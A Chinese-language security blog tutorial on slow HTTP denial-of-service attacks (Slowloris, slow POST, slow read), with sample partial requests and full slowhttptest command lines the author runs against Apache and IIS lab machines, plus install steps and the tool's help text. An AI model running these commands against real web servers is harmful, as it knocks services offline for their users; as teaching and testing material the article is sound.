点击上方蓝字“Ots安全”一起玩耍
本文将展示http慢速攻击的背景和实现:
-
Http 慢速攻击背景
-
实现 Http 慢速攻击
-
Http 慢速攻击背景
等待所有传入需求是 Web 服务器的本质。因此,由于发送或接收 http 请求的速度较慢,可能会导致 Web 服务器占用和拒绝服务攻击。
Http Slow 攻击分为三种类型:
- Slow Headers Attack (也称为 Slowloris 攻击)
- Slow Message Body Attack(也称为慢帖子攻击)
- Slow Read (称为慢读)
在读/写之间的时间间隔内发送或读取小块数据是这些攻击的基础。
i)Slow Headers Attack
这种被称为 Slowloris 的攻击可以在所有已知的 Apache 版本中实施。这种攻击的基本工作原理是由于缓慢发送http请求中的标头而使服务器处于忙碌状态。例如,可以执行此攻击类型的工具向目标服务器发出 http 请求,如下所示。
GET / HTTP/1.1CRLF
Host: localhost:80CRLF
User-Agent: Mozilla/4.0 (Windows NT 6.1; Trident/4.0; SLCC2)CRLF
服务器知道数据包以双 CRLF 终止,因为 http 请求是 GET。当客户端没有完成带有双 CR LF 的 http 请求时,Web 服务器认为数据包尚未完成并等待数据包的剩余部分。该工具缓慢地发送标头,以便将其添加到向服务器发出的这半个请求中。.
.
. n seconds
.
X-HMzV2bwpzQw9jU9fGjZRknd7Sa54J: u6RrIoLRrte4QV92yojeewiuBL2N7CRLF
.
. n seconds
.
X-nq0HRGnv1W: T5dSLCRLF
.
. n seconds
.
X-iFrjuN: PdR7Jcj27PCRLF
.
.
.
注意:该工具从随机字符串生成要放入http请求的标头名称和值
并确定标头名称和值的最大限制。
Web 服务器将数据包的每个传入新行(片段)添加到当前数据包。由于不是每次都发送双 CR LF 令牌,因此服务器上的连接保持打开状态,服务器保持忙碌状态。当工具打开 100 个连接并执行相同操作时,Web 服务器的连接池将耗尽,服务器无法提供服务,因为它无法向其他客户端提供连接。
ii) Slow Message Body Attack
Slow Header 攻击的基本逻辑是逐步定期发送 http 请求中的 headers。在Slow Message Body(又名Slow Post)攻击类型中,基本逻辑包括发送要放置在http请求正文部分的参数和值,逐渐和定期。例如,可以执行慢速消息体攻击的工具可以向服务器发出 http 请求:
POST / HTTP/1.1CRLF
Host: 10.10.25.116:80CRLF
User-Agent: Mozilla/5.0 (Macintosh; Mac OS X 10.7;) Gecko/2101 Firefox/5.0.1CRLF
Content-Length: 8192CRLF
Connection: closeCRLF
Referer: http://code.google.com/p/slowhttptest/CRLF
Content-Type: application/x-www-form-urlencodedCRLF
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5CRLF
CRLF
foo=bar
.
. n seconds
.
&rjP8=du7FKMe
.
. n seconds
.
&93zgIx=jgfpopJ
.
.
.
注意:该工具从随机字符串中创建要包含在 http 请求正文中的参数和值,并确定参数名称和值的最大限制。
由于 http 请求是 POST ,所以服务器理解数据包不是由双 CRLF 终止,而是由 http 请求中 Content-Length 标头的字节值终止。当 http 请求正文中的大小达到此字节值时,服务器表示数据包已完成并关闭连接。因此,如果http响应正文中的参数和值发送缓慢,服务器上的连接将一直保持打开状态。如果工具打开 100 个连接并执行相同的操作,则 Web 服务器的连接池将耗尽,服务器将停止服务,因为它无法向其他客户端提供连接。
iii) Slow Read Attack
慢读攻击是慢速http攻击中最难防范的一种攻击,它是通过在http请求发送后缓慢读取客户端的响应而发生的。通过这种方式,尝试在目标服务器上保留尽可能多的活动连接。在这种类型的攻击中,客户端正常接收到http响应包,http响应包被放置在客户端的内核缓冲区中。但是,http响应包从服务器到客户端的传输发生在第一阶段的网络层。因此,下一步将内核缓冲区中的http响应包转发到应用层(Web浏览器)。在这里,慢消息体攻击利用了这种结构,应用层中的应用程序缓慢地读取内核缓冲区中的http响应包,延迟读取整个包。因此,目标 Web 服务器处于待机状态,直到数据包在应用层中被完全读取。此过程使 Web 服务器上的连接保持打开状态。如果打开 100 个连接,工具会执行相同的操作(慢读操作),则 Web 服务器的连接池将被耗尽。结果,服务器将再次停止服务,因为它无法提供与其他客户端的连接。
这是客户端和 Web 服务器之间的 http 请求和响应数据包传输通道的视图:
如您所见,数据传输发生在网络层(数据链路层)。由于这个传入的数据是属于应用层的,所以后面会传输到应用层。下面,你可以看到应用层中的应用正在从底层拉取数据:
b. Uygulama
slowhttptest 工具是一种使用慢速技术对 Web 服务器进行 dos 攻击的工具。
执行以下三种类型的慢速攻击:
- Slow Headers (也称为 Slowloris)
- Slow Message Body (也称为慢 Http Post)
- Slow Read (称为慢读)
i)Slow Headers(Slowloris 攻击)
使用下面的命令,总共有 1000 个连接请求被发送到目标 Web 服务器,每秒 200 个。它以 10 秒的间隔发送给从这些打开的链接发送的 http 请求,以添加一个连续的 http 标头。当目标 Web 服务器在 3 秒内无法发送 http 响应时,就说它停止服务。
攻击系统:Ubuntu 14.04 LTS 主机
目标系统:Ubuntu 14.04 虚拟机(Apache)
>./slowhttptest -H -c 1000 -r 200 -i 10 -x 24 -p 3 -t GET -u http://172.16.3.122 -g -o slow_header_stats
Çıktı:
…
service
available: NO
-H :slowhttptest 的慢头攻击参数。Http 标头缓慢并允许按顺序发送未完成的http请求。
-c :指定测试期间要使用的连接数。(联系)
-r :确定每单位秒要建立的连接数。(速度)
-i :指定连续数据之间的传输时间间隔。(间隔)
-x :指定对每个连续数据有效的最大大小。
-p :指定等待 http 响应的时间。这次在等待http响应的时候超过,就说发生了 DoS。(探测)
-t :获取 http 请求名称。例如; GET、HEAD、POST、FAKEVERB、...
-u :输入目标 Web 应用程序的地址。
-g :测试完成后,准备两个 csv 和 html 格式的文档。
-o :指定测试完成时使用 -g 创建的 csv 和 html 表单的名称。
ii) Slow Message Body (Slow Http Post Attack)
使用以下命令,将向目标 Web 服务器发送 3000 个连接请求,每秒 200 个。它被发送到从这些打开的连接发送的 http 请求的主体,以 110 秒的间隔添加 POST 参数和值。由于 Content-Length 值为 8192 字节,因此连接保持打开状态,直到正文中的 POST 参数和值的总大小为 8192 字节(注意:每个参数和值的最大字符数为10 个字节)。如果目标 Web 服务器在所有这些过程中都无法在 3 秒内发送 http 响应,则称它已停止服务。
攻击系统:Ubuntu 14.04 LTS 主机
目标系统:Windows Server 2008 Standard (Pre-R2) ( IIS 7.0 )
> ./slowhttptest -B -c 1000 -r 200 -i 110 -s 8192 -x 10 -p 3 -t POST -u http://172.16.3.128/deneme.php -g -o slow_body_stats
Çıktı:
…
service
available: NO
-B :slowhttptest 的慢消息体攻击参数。Http 请求
正文中的参数和值是按顺序逐渐发送的。
允许发出未完成的 http 请求。
-c :指定测试期间要使用的连接数。(联系)
-r :确定每单位秒要建立的连接数。(速度)
-i :指定连续数据之间的传输时间间隔。(间隔)
-s :设置 http 请求中 Content-Type 标头的值。所以http
确定要在请求正文中发送的数据的总大小。
-x :指定对每个连续数据有效的最大大小。
这样,每一个参数和值都要放到http请求的body中
设置最大长度限制。
-p :指定等待 http 响应的时间。这次在等待http响应的时候
超过,就说发生了 DoS。(探测)
-t :获取 http 请求名称。例如; GET、HEAD、POST、FAKEVERB、...
-u :输入目标 Web 应用程序的地址。
-g :测试完成后,准备两个 csv 和 html 格式的文档。
-o :指定测试完成时使用 -g 创建的 csv 和 html 表单的名称。
笔记:
慢消息正文攻击只能对可以处理后期处理的页面进行。所以在这次攻击中,找到易受攻击的 url 是必不可少的(所以找到一个处理 post 操作的页面是必不可少的)。这就是在 Windows Server 2008 Standard 机器上创建 test.php 文件的方式。例如;
deneme.php
<?php
header("Content-Type: text/html; charset=UTF-8");
if (isset($_POST["name"])) {
echo "username:" . $_POST["name"] . "";
}
if (isset($_POST["psw"])) {
echo "password:" . $_POST["psw"] . "";
}
?>
这样,目标 IIS 7.0 服务器将停止服务,并对 http://172.16.3.128/deneme.php url 进行慢消息正文攻击。
这里有一点:在后期处理页面上由 $_POST 拉取的变量的名称是什么并不重要。我们只需要找到一个对 POST 请求开放的页面。对此类页面的慢速消息正文攻击将使 IIS 7.0 停止服务。
如果在对 GET 请求开放的页面而不是对 POST 请求开放的页面上进行慢消息正文攻击,即使服务器易受攻击,也不会发生 DoS。这发生在我在 Windows Server 2008 Standard 虚拟机上的 IIS 7.0 服务器上的第一次慢消息正文 DoS 攻击(默认 IIS 7 欢迎页面上的攻击)中。然后,根据我从链接 https://github.com/shekyan/slowhttptest/issues/49 获得的信息,我了解到应该有一个处理 POST 的页面,我在 IIS 7.0 服务器上安装了 PHP 并创建了一个页面称为处理 POST 的 test.php。最后,由于这个页面的Slow Message Body 攻击,我成功了。
笔记2:
正如在上面应用程序之后所经历的那样,可以观察到在攻击期间在 Windows Server 2008 (Pre-R2) 机器上发生了停止服务的影响。但是,只有在访问带有脚本语言(php、asp、...)扩展名的文件(网页)时才会看到这种效果。据观察,当时仍可以继续访问具有其他扩展名(txt、html、...)的文件(网页)。事实证明,这次攻击只影响了 IIS 7 服务器的 PHP 模块。即使这个后来添加到 IIS 7 的 PHP 模块由于拒绝服务攻击而崩溃,IIS Web 服务器软件也能够幸存下来,因为它具有返回带有 txt、html 等扩展名的文件的默认服务......给客户。此处仅影响对带有脚本语言扩展的网页的访问。具有其他扩展名的文件不受攻击的影响。例如,在攻击过程中,可以看到对 test.php 或为测试目的创建的另一个 php 文件 (abc.php) 的访问被阻止,但当时为测试目的创建的 default.html 页面或另一个文件 ( xyz.txt 文件)访问已被维持。
iii) Slow Read
使用下面的命令,每秒 200 次向目标 Web 服务器发送 8000 个连接请求。选择 512 到 1024 之间的随机值作为 TCP 窗口大小。对于每个打开的连接,每 5 秒读取 32 个字节的数据。当所有这些过程都在发生时,如果来自 Web 服务器的 http 响应在 3 秒内没有出现,则称目标 Web 服务器停止服务。
> ./slowhttptest -X -c 8000 -r 200 -n 5 -w 512 -y 1024 -z 32 -p 3 -l 350 -u http://172.16.3.122 -g -o slow_read_stats
-X :slowhttptest 的慢读攻击参数。Http响应慢
允许它被读取。
-c :指定测试期间要使用的连接数。(联系)
-n :http响应包慢读的时间间隔。
以秒为单位指定。
-w :指定 TCP 窗口范围的开始。
-y :指定 TCP 窗口范围的结束。
-z :指定在每个 read() 操作中从内核缓冲区中获取的字节数。
-p :指定等待 http 响应的时间。这次在等待http响应的时候
超过,就说发生了 DoS。(探测)
-l :指定测试时间。
-u :输入目标 Web 应用程序的地址。
-g :测试完成后,准备两个 csv 和 html 格式的文档。
-o :指定测试完成时使用 -g 创建的 csv 和 html 表单的名称。
额外的。在 Ubuntu 14.04(或 18.04)Linux 上 安装 SlowHttpTest 工具
安装步骤如下:
> sudo su
> apt-get install libssl-dev
> cd Downloads
> wget https://github.com/shekyan/slowhttptest/archive/master.zip
> unzip slowhttptest-master.zip
> cd slowhttptest-master
> ./configure --prefix=PREFIX
(( Not: PREFIX yerine slowhttptest'in kurulacağı dizini gösteren bir Absolute Path girilir ))
(( Örn; ))
(( mkdir /home/kullaniciAdi/slowhttptest ))
(( ve sonra ))
(( ./configure --prefix=/home/kullaniciAdi/slowhttptest ))
> make
> sudo make install
这样就完成了安装。
> chmod -R 777 /home/kullaniciAdi/slowhttptest/
> cd /home/kullaniciAdi/slowhttptest
> cd bin/
> ./slowhttptest -h
Output:
slowhttptest, a tool to test for slow HTTP DoS vulnerabilities - version 1.7
Usage: slowhttptest [options ...]
Test modes:
-H slow headers a.k.a. Slowloris (default)
-B slow body a.k.a R-U-Dead-Yet
-R range attack a.k.a Apache killer
-X slow read a.k.a Slow Read
Reporting options:
-g generate statistics with socket state changes (off)
-o file_prefix save statistics output in file.html and file.csv (-g required)
-v level verbosity level 0-4: Fatal, Info, Error, Warning, Debug
General options:
-c connections target number of connections (50)
-i seconds interval between followup data in seconds (10)
-l seconds target test length in seconds (240)
-r rate connections per seconds (50)
-s bytes value of Content-Length header if needed (4096)
-t verb verb to use in request, default to GET for
slow headers and response and to POST for slow body
-u URL absolute URL of target (http://localhost/)
-x bytes max length of each randomized name/value pair of
followup data per tick, e.g. -x 2 generates
X-xx: xx for header or &xx=xx for body, where x
is random character (32)
-f content-type value of Content-type header (application/x-www-form-urlencoded)
-m accept value of Accept header (text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)
Probe/Proxy options:
-d host:port all traffic directed through HTTP proxy at host:port (off)
-e host:port probe traffic directed through HTTP proxy at host:port (off)
-p seconds timeout to wait for HTTP response on probe connection,
after which server is considered inaccessible (5)
Range attack specific options:
-a start left boundary of range in range header (5)
-b bytes limit for range header right boundary values (2000)
Slow read specific options:
-k num number of times to repeat same request in the connection. Use to
multiply response size if server supports persistent connections (1)
-n seconds interval between read operations from recv buffer in seconds (1)
-w bytes start of the range advertised window size would be picked from (1)
-y bytes end of the range advertised window size would be picked from (512)
-z bytes bytes to slow read from receive buffer with single read() call (5)
注意:slowhttptest 工具预装在新版本的 Kali 中。
资源
https://blog.qualys.com/tag/slow-http-attack
https://www.systutorials.com/docs/linux/man/1-slowhttptest/
https://github.com/shekyan/slowhttptest/issues/49
https://www.slideshare.net/jseidl/latinoware-2013-supereffectivedosattacks
https://github.com/valyala/goloris
https://github.com/shekyan/slowhttptest/wiki/InstallationAndUsage
原文始发于微信公众号(Ots安全):Http慢拒绝服务攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论